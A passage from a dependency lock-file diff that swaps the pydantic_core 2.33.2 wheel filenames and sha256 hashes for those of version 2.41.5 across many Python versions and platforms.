"sha256:d53b22f2032c42eaaf025f7c40c2e3b94568ae077a606f006d206a463bc69572"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0405262705a123b7ce9f0b92f123334d67b70fd1f20a9372b907ce1080c7ba02"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4b25d91e288e2c4e0662b8038a28c6a07eaac3e196cfc4ff69de4ea3db992a1b"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdfe4b3789761f3bcb4b1ddf33355a71079858958e3a552f16d5af19768fef2"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:efec8db3266b76ef9607c2c4c419bdb06bf335ae433b80816089ea7585816f6a"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:031c57d67ca86902726e0fae2214ce6770bbe2f710dc33063187a68744a5ecac"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:f8de619080e944347f5f20de29a975c2d815d9ddd8be9b9b7268e2e3ef68605a"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:73662edf539e72a9440129f231ed3757faab89630d291b784ca99237fb94db2b"}, - {file = "pydantic_core-2.33.2-cp310-cp310-win32.whl", hash = "sha256:0a39979dcbb70998b0e505fb1556a1d550a0781463ce84ebf915ba293ccb7e22"}, - {file = "pydantic_core-2.33.2-cp310-cp310-win_amd64.whl", hash = "sha256:b0379a2b24882fef529ec3b4987cb5d003b9cda32256024e6fe1586ac45fc640"}, - {file = "pydantic_core-2.33.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:4c5b0a576fb381edd6d27f0a85915c6daf2f8138dc5c267a57c08a62900758c7"}, - {file = "pydantic_core-2.33.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e799c050df38a639db758c617ec771fd8fb7a5f8eaaa4b27b101f266b216a246"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dc46a01bf8d62f227d5ecee74178ffc448ff4e5197c756331f71efcc66dc980f"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a144d4f717285c6d9234a66778059f33a89096dfb9b39117663fd8413d582dcc"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:73cf6373c21bc80b2e0dc88444f41ae60b2f070ed02095754eb5a01df12256de"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3dc625f4aa79713512d1976fe9f0bc99f706a9dee21dfd1810b4bbbf228d0e8a"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:881b21b5549499972441da4758d662aeea93f1923f953e9cbaff14b8b9565aef"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:bdc25f3681f7b78572699569514036afe3c243bc3059d3942624e936ec93450e"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fe5b32187cbc0c862ee201ad66c30cf218e5ed468ec8dc1cf49dec66e160cc4d"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:bc7aee6f634a6f4a95676fcb5d6559a2c2a390330098dba5e5a5f28a2e4ada30"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:235f45e5dbcccf6bd99f9f472858849f73d11120d76ea8707115415f8e5ebebf"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win32.whl", hash = "sha256:6368900c2d3ef09b69cb0b913f9f8263b03786e5b2a387706c5afb66800efd51"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win_amd64.whl", hash = "sha256:1e063337ef9e9820c77acc768546325ebe04ee38b08703244c1309cccc4f1bab"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win_arm64.whl", hash = "sha256:6b99022f1d19bc32a4c2a0d544fc9a76e3be90f0b3f4af413f87d38749300e65"}, - {file = "pydantic_core-2.33.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:a7ec89dc587667f22b6a0b6579c249fca9026ce7c333fc142ba42411fa243cdc"}, - {file = "pydantic_core-2.33.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3c6db6e52c6d70aa0d00d45cdb9b40f0433b96380071ea80b09277dba021ddf7"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e61206137cbc65e6d5256e1166f88331d3b6238e082d9f74613b9b765fb9025"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:eb8c529b2819c37140eb51b914153063d27ed88e3bdc31b71198a198e921e011"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c52b02ad8b4e2cf14ca7b3d918f3eb0ee91e63b3167c32591e57c4317e134f8f"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:96081f1605125ba0855dfda83f6f3df5ec90c61195421ba72223de35ccfb2f88"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f57a69461af2a5fa6e6bbd7a5f60d3b7e6cebb687f55106933188e79ad155c1"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:572c7e6c8bb4774d2ac88929e3d1f12bc45714ae5ee6d9a788a9fb35e60bb04b"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:db4b41f9bd95fbe5acd76d89920336ba96f03e149097365afe1cb092fceb89a1"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:fa854f5cf7e33842a892e5c73f45327760bc7bc516339fda888c75ae60edaeb6"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:5f483cfb75ff703095c59e365360cb73e00185e01aaea067cd19acffd2ab20ea"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win32.whl", hash = "sha256:9cb1da0f5a471435a7bc7e439b8a728e8b61e59784b2af70d7c169f8dd8ae290"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win_amd64.whl", hash = "sha256:f941635f2a3d96b2973e867144fde513665c87f13fe0e193c158ac51bfaaa7b2"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win_arm64.whl", hash = "sha256:cca3868ddfaccfbc4bfb1d608e2ccaaebe0ae628e1416aeb9c4d88c001bb45ab"}, - {file = "pydantic_core-2.33.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:1082dd3e2d7109ad8b7da48e1d4710c8d06c253cbc4a27c1cff4fbcaa97a9e3f"}, - {file = "pydantic_core-2.33.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f517ca031dfc037a9c07e748cefd8d96235088b83b4f4ba8939105d20fa1dcd6"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a9f2c9dd19656823cb8250b0724ee9c60a82f3cdf68a080979d13092a3b0fef"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2b0a451c263b01acebe51895bfb0e1cc842a5c666efe06cdf13846c7418caa9a"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ea40a64d23faa25e62a70ad163571c0b342b8bf66d5fa612ac0dec4f069d916"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0fb2d542b4d66f9470e8065c5469ec676978d625a8b7a363f07d9a501a9cb36a"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fdac5d6ffa1b5a83bca06ffe7583f5576555e6c8b3a91fbd25ea7780f825f7d"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:04a1a413977ab517154eebb2d326da71638271477d6ad87a769102f7c2488c56"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c8e7af2f4e0194c22b5b37205bfb293d166a7344a5b0d0eaccebc376546d77d5"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:5c92edd15cd58b3c2d34873597a1e20f13094f59cf88068adb18947df5455b4e"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:65132b7b4a1c0beded5e057324b7e16e10910c106d43675d9bd87d4f38dde162"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win32.whl", hash = "sha256:52fb90784e0a242bb96ec53f42196a17278855b0f31ac7c3cc6f5c1ec4811849"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win_amd64.whl", hash = "sha256:c083a3bdd5a93dfe480f1125926afcdbf2917ae714bdb80b36d34318b2bec5d9"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win_arm64.whl", hash = "sha256:e80b087132752f6b3d714f041ccf74403799d3b23a72722ea2e6ba2e892555b9"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:61c18fba8e5e9db3ab908620af374db0ac1baa69f0f32df4f61ae23f15e586ac"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95237e53bb015f67b63c91af7518a62a8660376a6a0db19b89acc77a4d6199f5"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-win_amd64.whl", hash = "sha256:c2fc0a768ef76c15ab9238afa6da7f69895bb5d1ee83aeea2e3509af4472d0b9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:a2b911a5b90e0374d03813674bf0a5fbbb7741570dcd4b4e85a2e48d17def29d"}, - {file = "pydantic_core-2.33.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6fa6dfc3e4d1f734a34710f391ae822e0a8eb8559a85c6979e14e65ee6ba2954"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c54c939ee22dc8e2d545da79fc5381f1c020d6d3141d3bd747eab59164dc89fb"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:53a57d2ed685940a504248187d5685e49eb5eef0f696853647bf37c418c538f7"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:09fb9dd6571aacd023fe6aaca316bd01cf60ab27240d7eb39ebd66a3a15293b4"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0e6116757f7959a712db11f3e9c0a99ade00a5bbedae83cb801985aa154f071b"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d55ab81c57b8ff8548c3e4947f119551253f4e3787a7bbc0b6b3ca47498a9d3"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c20c462aa4434b33a2661701b861604913f912254e441ab8d78d30485736115a"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:44857c3227d3fb5e753d5fe4a3420d6376fa594b07b621e220cd93703fe21782"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:eb9b459ca4df0e5c87deb59d37377461a538852765293f9e6ee834f0435a93b9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9fcd347d2cc5c23b06de6d3b7b8275be558a0c90549495c699e379a80bf8379e"}, - {file = "pydantic_core-2.33.2-cp39-cp39-win32.whl", hash = "sha256:83aa99b1285bc8f038941ddf598501a86f1536789740991d7d8756e34f1e74d9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-win_amd64.whl", hash = "sha256:f481959862f57f29601ccced557cc2e817bce7533ab8e01a797a48b49c9692b3"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5c4aa4e82353f65e548c476b37e64189783aa5384903bfea4f41580f255fddfa"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:d946c8bf0d5c24bf4fe333af284c59a19358aa3ec18cb3dc4370080da1e8ad29"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87b31b6846e361ef83fedb187bb5b4372d0da3f7e28d85415efa92d6125d6e6d"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9d91b338f2df0508606f7009fde642391425189bba6d8c653afd80fd6bb64e"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2058a32994f1fde4ca0480ab9d1e75a0e8c87c22b53a3ae66554f9af78f2fe8c"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:0e03262ab796d986f978f79c943fc5f620381be7287148b8010b4097f79a39ec"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:1a8695a8d00c73e50bff9dfda4d540b7dee29ff9b8053e38380426a85ef10052"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:fa754d1850735a0b0e03bcffd9d4b4343eb417e47196e4485d9cca326073a42c"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:a11c8d26a50bfab49002947d3d237abe4d9e4b5bdc8846a63537b6488e197808"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:dd14041875d09cc0f9308e37a6f8b65f5585cf2598a53aa0123df8b129d481f8"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d87c561733f66531dced0da6e864f44ebf89a8fba55f31407b00c2f7f9449593"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2f82865531efd18d6e07a04a17331af02cb7a651583c418df8266f17a63c6612"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bfb5112df54209d820d7bf9317c7a6c9025ea52e49f46b6a2060104bba37de7"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:64632ff9d614e5eecfb495796ad51b0ed98c453e447a76bcbeeb69615079fc7e"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:f889f7a40498cc077332c7ab6b4608d296d852182211787d4f3ee377aaae66e8"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:de4b83bb311557e439b9e186f733f6c645b9417c84e2eb8203f3f820a4b988bf"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:82f68293f055f51b51ea42fafc74b6aad03e70e191799430b90c13d643059ebb"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:329467cecfb529c925cf2bbd4d60d2c509bc2fb52a20c1045bf09bb70971a9c1"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:87acbfcf8e90ca885206e98359d7dca4bcbb35abdc0ff66672a293e1d7a19101"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f92c15cd1e97d4b12acd1cc9004fa092578acfa57b67ad5e43a197175d01a64"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d3f26877a748dc4251cfcfda9dfb5f13fcb034f5308388066bcfe9031b63ae7d"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dac89aea9af8cd672fa7b510e7b8c33b0bba9a43186680550ccf23020f32d535"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:970919794d126ba8645f3837ab6046fb4e72bbc057b3709144066204c19a455d"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:3eb3fe62804e8f859c49ed20a8451342de53ed764150cb14ca71357c765dc2a6"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:3abcd9392a36025e3bd55f9bd38d908bd17962cc49bc6da8e7e96285336e2bca"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:3a1c81334778f9e3af2f8aeb7a960736e5cab1dfebfb26aabca09afd2906c039"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2807668ba86cb38c6817ad9bc66215ab8584d1d304030ce4f0887336f28a5e27"}, - {file = "pydantic_core-2.33.2.tar.gz", hash = "sha256:7cb8bc3605c29176e1b105350d2e6474142d7c1bd1d9327c4a9bdb46bf827acc"}, + {file = "pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146"}, + {file = "pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c"}, + {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2"}, + {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556"}, + {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49"}, + {file = "pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba"}, + {file = "pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9"}, + {file = "pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6"}, + {file = "pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b"}, + {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a"}, + {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8"}, + {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e"}, + {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1"}, + {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b"}, + {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b"}, + {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284"}, + {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594"}, + {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e"}, + {file = "pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b"}, + {file = "pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe"}, + {file = "pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f"}, + {file = "pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7"}, + {file = "pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0"}, + {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69"}, + {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75"}, + {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05"}, + {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc"}, + {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c"}, + {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5"}, + {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c"}, + {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294"}, + {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1"}, + {file = "pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d"}, + {file = "pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815"}, + {file = "pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3"}, + {file = "pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9"}, + {file = "pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34"}, + {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0"}, + {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33"}, + {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e"}, + {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2"}, + {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586"}, + {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d"}, + {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740"}, + {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e"}, + {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858"}, + {file = "pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36"}, + {file = "pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11"}, + {file = "pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd"}, + {file = 